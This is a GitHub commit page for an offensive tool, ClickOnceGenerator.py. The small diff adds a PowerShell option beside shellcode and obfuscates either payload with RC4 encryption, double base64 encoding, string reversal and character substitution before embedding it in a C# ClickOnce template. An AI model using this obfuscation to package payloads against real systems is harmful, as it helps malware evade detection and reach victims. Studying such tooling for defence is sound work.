Skip to content
Permalink
Browse files

Update ClickOnceGenerator.py

  • Loading branch information...
Mr-Un1k0d3r committed Jun 7, 2018
1 parent d03121a commit 11ea7c45ac5c30e7655e014f21459ca7117b2d53
Showing with 10 additions and 2 deletions.
  1. +10 −2 ClickOnceGenerator.py
@@ -164,9 +164,17 @@ def gen_str(self, size):
pattern1 = Helper.gen_pattern("#!@$%?&")
pattern2 = Helper.gen_pattern(",.<>)(*[]{}")

cipher = Helper.replace_data(base64.b64encode(base64.b64encode(rc4.Encrypt(Helper.load_file(config.get("shellcode"), True), key))[::-1]), pattern1, "N", pattern2, "B")

cipher = ""
template_path = "template/Program.cs"
if not config.get("shellcode") == "":
cipher = Helper.replace_data(base64.b64encode(base64.b64encode(rc4.Encrypt(Helper.load_file(config.get("shellcode"), True), key))[::-1]), pattern1, "N", pattern2, "B")
elif not config.get("powershell") == "":
template_path = "template/Program-ps.cs"
cipher = Helper.replace_data(base64.b64encode(base64.b64encode(rc4.Encrypt(Helper.load_file(config.get("powershell"), True), key))[::-1]), pattern1, "N", pattern2, "B")
else:
Helper.print_error("Missing config variable (shellcode or powershell)")
exit(0)

if args.report:
template_path = "template/Program-report.cs"

0 comments on commit 11ea7c4

Please sign in to comment.
You can’t perform that action at this time.